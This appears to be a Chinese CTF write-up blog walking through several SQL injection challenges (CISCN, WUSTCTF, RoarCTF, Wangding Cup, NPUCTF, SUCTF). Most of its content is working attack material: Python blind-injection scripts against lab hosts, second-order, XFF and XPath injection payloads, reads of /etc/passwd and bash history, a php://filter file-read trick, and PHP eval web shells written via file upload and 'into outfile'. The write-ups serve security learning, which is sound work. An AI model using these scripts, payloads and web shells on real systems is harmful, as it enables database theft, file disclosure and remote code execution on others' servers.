查看第一个commit

1
2
$ git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
HEAD 现在位于 e5b2a24 WIP on master: bfbdf21 add write_do.php

得到write_do.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>

提交评论还需要登录,根据登录框上的place_hold,应该是要爆破密码的后三位,写一个python脚本跑一下就出来,代码写太烂不贴了:zhangwei/zhangwei666

接着审计源码,可以看到上面第12-14行都对 POST 传来category 、 title 、content三个参数进行了特殊字符转义,然而在第28行和第30-33行处直接将从数据库中取出的数据,未经任何过滤拼接到SQL语句 中,并且content的值会显示在页面上,这就存在二次注入 。

addslashes会将传入的信息都会进行转义,但是数据库会自动清除反斜杠。

下面说说二次注入的攻击过程:

  • 先进入 write 方法,将payload: ',content=database(),/* 插入 board 表的 category 字段中

    此时payload为title=111&category=',content=database(),/*&content=1

  • 再进入 comment 方法,程序将 board 表中的 category 字段取出,没进行过滤,拼接到新的 insert 语句中。由于我们之前的 payload 中带有 /* ,所以我们需要闭合它,即我们在评论处提交 */# (对应 content 变量的值),用于闭合/*

  • 然后程序执行第二个SQL语句,并将用户提交的content值显示出来,而我们的 payload : ',content=user(),/* 就会显示出当前用户。

查看当前用户

如果是root用户,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要这么高的权限,实际也确实没有。

应该是要用SQL语句读取flag文件了。

先用/etc/passwd做一个验证

有一个www用户,查看他的历史命令

可以发现他删除了一个.DS_Store文件,但是还存在于/tmp/html目录中,由于这个文件有很多不可见字符不能直接用编辑器打开,先对其进行16进制编码

再转换成ASCII

flag文件名flag_8946e1ff1ee3e40f.php

再解码就可以得到flag。

CISCN2019 easyweb

考点

  • 源码泄露
  • MySQL盲注
  • PHP短标签

解题

又是一道盲注的题目,还是没有做出来。。。。。

robots.txt提示有bak备份文件,尝试了index.php.bakuser.php.bak无果后用dirmap扫描,发现了image.php.bak

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

基本思路:bool盲注,语句成功的话,就让id = 1,回显正常,错误的话 id = 0,就什么都没有

单引号逃逸的方法是用\0来转义掉它的单引号。输入\0,经过addslashes函数会先变成\\0,然后经过“str_replace”函数,会变成\,这样,就把id后面的单引号给转义了。

SQL盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
from time import sleep

url = "http://143e2c2b-3448-4468-aeee-95cd35c73be0.node3.buuoj.cn/image.php?id=\\0&path="
#payload = "or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1},1,0)%23"
#payload = "or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{0},1))>{1},1,0)%23"
#payload = "or id=if(ascii(substr((select username from users),{0},1))>{1},1,0)%23"
payload = "or id=if(ascii(substr((select password from users),{0},1))>{1},1,0)%23"
flag = "JFIF"
result = ""

for i in range(1, 100):
sleep(0.5)
low = 32
high = 127
while high > low:
mid = (high + low) >> 1
response = requests.get(url + payload.format(i, mid))
if flag in response.text:
low = mid + 1
else:
high = mid

if low != 32:
result += chr(low)
else:
break
print(result)

登录后是一个文件上传的功能,经过测试后可以发现,upload.php把上传的文件名写入了一个php文件后缀的日志文件,并且路径已知。但是文件名会过滤php,可以用短标签绕过。

1
filename=<?=@eval($_POST['a']);?>

然后蚁剑直接连接。

WUSTCTF2020 颜值成绩查询

考点

  • MySQL盲注

解题

比较明显的GET型的SQL注入,FUZZ一下

发现好像是可以直接执行SQL语句,验证一下

接下来就是直接写盲注脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests

url = "http://a55db98c-72b1-40e8-b771-61b1bc60cd9d.node3.buuoj.cn/?stunum="
flag = "Hi admin, your score is: 100"
result = ""

for i in range(1, 100):
low = 32
high = 127
while high > low:
mid = (high + low) >> 1
#payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='ctf'),{0},1))>{1},1,0)"
#payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag'),{0},1))>{1},1,0)"
payload = "if(ascii(substr((select(group_concat(flag,0x3a,value))from(flag)),{0},1))>{1},1,0)"
response = requests.post(url+payload.format(i, mid))
if flag in response.text:
low = mid + 1
else:
high = mid

if low != 32:
result += chr(low)
else:
break
print(result)

拓展

我们再吹毛求疵一点,上一个脚本跑出来的flag都是大写字母,那么我们应该如何区分大小写呢。

参考中的第二篇文章已经告诉了我们答案,想办法把字符串转换为二进制后,进行字节对字节的比较。但是函数BINARY中的in被禁掉了,作者又发现了一种思路,当一个字符串连接一个二进制的值时CONCAT("aa", BINARY("BB")),其得到的也将是二进制。

并且MySQL中的JSON对象是二进制对象,因此,CAST(0 AS JSON)会返回一个二进制字符串,进而SELECT CONCAT(“A”, CAST(0 AS JSON))也会返回一个二进制字符串。

所以我们看一看下面这个payload能否可行:

1
2||(select 1,concat('{}',cast('0' as json)))>(select * from f1ag_1s_h3r3_hhhhh)

返回了error。我猜应该是版本的问题,用第一个盲注脚本查看一下version(),发现是MariaDB 10.2.26。

查询一下官方文档,MariaDB在10.2.7才加入了JSON数据类型。

无果。

参考

https://www.gem-love.com/ctf/1782.html

https://nosec.org/home/detail/3830.html

RoarCTF2019 Online Proxy

考点

  • XFF注入
  • 二次注入
  • 盲注

题解

这道题的注入点在X-Forwarded-For,利用XFF来更改IP地址,可以发现IP被保存并输出了。

既然他的last-ip和current-ip会更新,由此可以猜想他与数据库进行了交互

1
INSERT INTO table_name (current-ip,last-ip ) VALUES ('$current-ip','$last-ip' );

由于这题有回显,因此,可以考虑二次注入。

首先用下面这个payload验证一下能不能成功地闭合语句:

1
0' or ascii(substr((select(database())),1,1))>100 or '0

再随便输入

再次发送请求

验证成功,接下来就是写盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import requests

url = "http://node3.buuoj.cn:29354/"

# 这个head头好像必须加cookie
head = {
"X-Forwarded-For": "",
"Cookie": "track_uuid=60661451-cdab-4a74-95b4-74d6a66945a9"
}

# #查库名
# payload = "0' or ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{},1))>{} or '0"

# #查表名
# payload = "0' or ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='F4l9_D4t4B45e')),{},1))>{} or '0"

# #查列名
# payload = "0' or ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),{},1))>{} or '0"

# 查flag
payload = "0' or ascii(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1))>{} or '0"

flag = ""

for i in range(1, 1000):
low = 32
high = 137
mid = (low + high) // 2

while low < high:
'''插入sql语句'''
payload1 = payload.format(i, mid)
head["X-Forwarded-For"] = payload1
requests.get(url, headers=head)

'''重新发送两次请求'''
head["X-Forwarded-For"] = "penson"
requests.get(url, headers=head)
r = requests.get(url, headers=head)

if "Last Ip: 1 " in r.text:
low = mid + 1
else:
high = mid

mid = (low + high) // 2

if mid == 32 or mid == 127:
break
flag += chr(mid)
print(flag)

print(flag)

拓展

更多的闭合方式

1
2
3
4
5
6
7
' or (payload) or '
' and (payload) and '
' or (payload) and '
' or (payload) and '='
'* (payload) *'
' or (payload) and '
" – (payload) – "

还有一种payload

1
0'+conv(hex(substr((select database()),1,5)),16,10)+'0

注意:一次不能读太多位,不然10进制会用科学计数法表示,就无法转换回原字符串了。

网鼎杯2018 Unfinished

考点

  • 二次注入
  • 两次Hex编码

解题

登陆的时候用到的是邮箱和密码,而注册的时候还有一个用户名,而这个用户名却在登陆后显示了,所以我们考虑用户名这里可能存在 二次注入

注册成功,会得到 302 状态码并跳转至 login.php ;如果注册失败,只会返回 200 状态码。所以构造 payload 如下:

1
email=[email protected]&username=0'%2B(select hex(hex(database())))%2B'0&password=test

在这里解释一下为什么要两次hex加密:

上面这张图展示的是,如果字符串hex后的值中包含字母,在与0相加后只能显示字母之前的数字与0相加的结果。两次hex编码可以解决这个问题。

然后这里还要注意一个问题,就是当数据进过 两次hex 后,会得到较长的一串只含有数字的字符串,当这个长字符串转成数字型数据的时候会变成科学计数法,就无法还原本身的字符串。

所以这里我们使用 substr 每次取10个字符长度与 ‘0’ 相加,这样就不会丢失数据。但是这里使用逗号 , 会出错,所以可以使用类似 substr(‘test’ from 1 for 10) 这种写法来绕过,具体获取 flag 的payload如下:

1
0'%2b(select substr(hex(hex((select * from flag))) from 1 for 10))%2b'0

注入脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# coding=utf-8
import requests
import re, binascii
import sys

url = "http://7fb57b69-428d-4c33-8988-d08449ffb183.node3.buuoj.cn/"
sql = "select * from flag"

email = ["test0" + str(i) + "@aa.aa" for i in range(0, 24)] # 这里次数可以通过sql爆破flag长度得到,或者也可fuzz


def register(email, offset):
payload = "0'+(select substr(hex(hex(({0}))) from {1} for 10))+'0".format(sql, str(1 + offset * 10))
data = {
"email": email,
"username": payload,
"password": "test"
}

req = requests.post(url + "/register.php", data=data)


def login(email):
data = {
"email": email,
"password": "test"
}
r = requests.post(url + "/login.php", data, allow_redirects=True)
pattern = '<span class=\"user-name\">\s*(\d{1,10})\s*<'
return re.findall(pattern, r.text)[0]


if __name__ == '__main__':
raw = ''

for email, offset in zip(email, range(0, len(email))):
register(email, offset)
test = login(email)
print(test)
raw += test
sys.stdout.write("[-] Double Hex : -> %s <-\r" % (raw))
sys.stdout.flush()

print("[+] Double Hex : -> {} <-".format(raw))

BlackWatch 入群题 Web

考点

  • MySQL盲注

解题

盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests

url = "http://0b5ee7e6-71d1-4280-9dd3-6e27f0650b68.node3.buuoj.cn/backend/content_detail.php?id="
proxies = { "http": None, "https": None}
name = ""
i = 0
while True:
head = 32
tail = 127
i += 1
while head < tail:
mid = head + tail >> 1
# payload = "if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d,3,2)" % (i, mid)
# payload = "if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='contents')),%d,1))>%d,3,2)" % (i, mid)
payload = "if(ascii(substr((select(group_concat(password))from(admin)),%d,1))>%d,3,2)" % (i, mid)

r = requests.get(url + payload, proxies=proxies)
# print(url+payload)
# print(r.json())
if "Yunen" in str(r.json()):
head = mid + 1
else:
tail = mid
if head != 32:
name += chr(head)
print(name)
else:
break

NPUCTF2020 ezlogin

考点

解题

payload 含义
’ or count(/)=1 or '1 判断有几个根节点
’ or string-count(name(/*[1]))=1 or '1 获取根节点长度
'or substring(name(/*[1]), 1, 1)=‘a’ or '1 获取内容

盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# -*- coding: UTF-8 -*-
import requests
import re
import string
import time

url = 'http://90cceea4-fbed-4c2b-97de-a43474dea042.node3.buuoj.cn/login.php'
sess = requests.session()
strs = string.digits + string.ascii_letters
headers = {
'Content-Type': 'application/xml'
}
find = re.compile('<input type="hidden" id="token" value="(.*?)" />')
result = ''

for i in range(50):
for j in strs:
r = sess.post(url=url)
token = find.findall(r.text)
time.sleep(1)
if token:
# 根节点root
# data = "<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(i, j, token[0])
# root子节点accounts
# data = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(
# accounts子节点user
# data = "<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(
# user子节点id, username, password
# data = "<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(
# data = "<username>'or substring(/root/accounts/user[2]/username/text(), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(
data = "<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>123</password><token>{}</token>".format(
i, j, token[0])
res = sess.get(url=url, headers=headers, data=data)
if '非法操作' in res.text:
result += j
print(result)
break

最后可以判断格式为:

1
2
3
4
5
6
7
8
9
10
11
12
<root>
<accounts>
<user>
<id></id>
<username>gtfly123</username>
<password>e10adc3949ba59abbe56e057f20f883e</password>
</user>
<user>
<id></id>
<username>adm1n</username>
<password>cf7414b5bdb2e65ee43083f4ddbc4d9f</password>
</user>

password无法解密,使用adm1n gtfly123登录站点。

查看网页源代码,提示:flag is in /flag

存在文件包含,使用大小写绕过

1
admin.php?file=PHP://filter/convert.BASE64-encode/resource=/flag

SUCTF2018 MultiSQL

考点

  • 堆叠注入
  • MySQL预编译绕过

解题

首先来演示一下MySQL预编译

set

set 的作用就是定义一个变量,变量的命名必须是@开头。

prepare和execute

prepare语句用于预定义一个语句,并可以指定预定义语句名称。execute则是执行预定义语句。

1
2
3
prepare prepare_name from “sql语句”

execute prepare_name

结合起来利用就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
MariaDB [(none)]> set @a='select version()';
Query OK, 0 rows affected (0.00 sec)

MariaDB [(none)]> prepare t from @a;
Query OK, 0 rows affected (0.00 sec)
Statement prepared

MariaDB [(none)]> execute t;
+-----------+
| version() |
+-----------+
| 8.0.20 |
+-----------+
1 row in set (0.00 sec)

用上面的知识再结合16进制编码,这样就可以绕过对一些关键字(select,from之类的)的过滤。

比如:

回到题目,注册成功后登陆查看资料,发现url如下:

http://87e3250e-37a7-472a-b4e3-764ad942514d.node3.buuoj.cn/user/user.php?id=2

id处可能有SQL注入,过滤了单引号还有一些关键字,用异或注入:

由于过滤了union,select ,&,|还有一些函数,只能Get Shell才能拿到flag。

存在SQL注入的题目都可以直接load_file盲注flag。

查看secure_file_priv配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import requests
import string
import binascii
import time
import sys

url = """http://9ba27d3d-01fd-4c6e-8c1c-e52d69a8a150.node3.buuoj.cn/user/user.php?id="""
r = requests.session()
cookies = {
"PHPSESSID": "o5lhvid6588d0rgkgieh1vne75"
}
char = string.ascii_lowercase + string.digits + '/'
payload = "2-(@@secure_file_priv<BINARY(0x{0}))"
flag = ""
data = ""

hex = lambda s: binascii.b2a_hex(s.encode("utf-8")).decode("utf-8")

for _ in range(50):
for i in range(33, 128):
c = chr(i)
time.sleep(0.3)
_url = url + payload.format(flag+hex(c))
res = r.get(url=_url, cookies=cookies)
# print(res.text)
if 'admin' in res.text:
data += chr(i-1)
flag += hex(chr(i-1))
print(data)
break
print(data)

盲注出secure_file_priv=/var/www/

使用load_file函数读取index.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = """http://9ba27d3d-01fd-4c6e-8c1c-e52d69a8a150.node3.buuoj.cn/user/user.php?id="""
cookies = {
"PHPSESSID":"fg4kp97ksielnvnssv53iul2s6"
}
data='0x'
flag=''
r=requests.session()

for i in range(9999):
for i in range(32,127):
_url = url + '^(hex(load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870))<'+data+str(hex(i)).replace('0x','')+')'
result=r.get(url=url,cookies=cookies)
if 'admin' in result.text:
data+=str(hex(i-1)).replace('0x','')
flag+=(chr(i-1))
print (flag)
break
print(data)

发现包含了bwvs_config/config.php和waf.php

1
2
3
4
5
function waf($str){
$black_str = "/(and|or|union|sleep|select|substr|order|left|right|order|by|where|rand|exp|updatexml|insert|update|dorp|delete|[|]|[&])/i";
$str = preg_replace($black_str, "@@",$str);
return addslashes($str);
}

user.php

1
2
3
4
5
6
7
8
if(isset($_GET['id'])){
$id=waf($_GET['id']);
$sql = "SELECT * FROM dwvs_user_message WHERE DWVS_user_id =".$id;
$data = mysqli_multi_query($connect,$sql) or die();

$result = mysqli_store_result($connect);
$row = mysqli_fetch_row($result);
echo '<h1>user_id:'.$row[0]."</h1><br><h2>user_name:".$row[1]."</h2><br><h3>注册时间:".$row[4]."</h3>";

既然有mysqli_multi_query,就会存在堆叠注入,使用上面提到的MySQL预编译来绕过select的限制。

利用堆叠注入像头像上传的位置写入shell

1
SELECT '<?php @eval($_POST[a]);?>' into outfile '/var/www/html/favicon/shell.php'
1
set @xx=0x53454c45435420273c3f70687020406576616c28245f504f53545b615d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f7368656c6c2e70687027;prepare x from @xx;execute x;

PwnThyBytes2019 Baby_SQL

October 2019 Twice SQL Injection

HITCON 2017 SQL So Hard

Copyright © ca01h 2019-2020 | 本站总访问量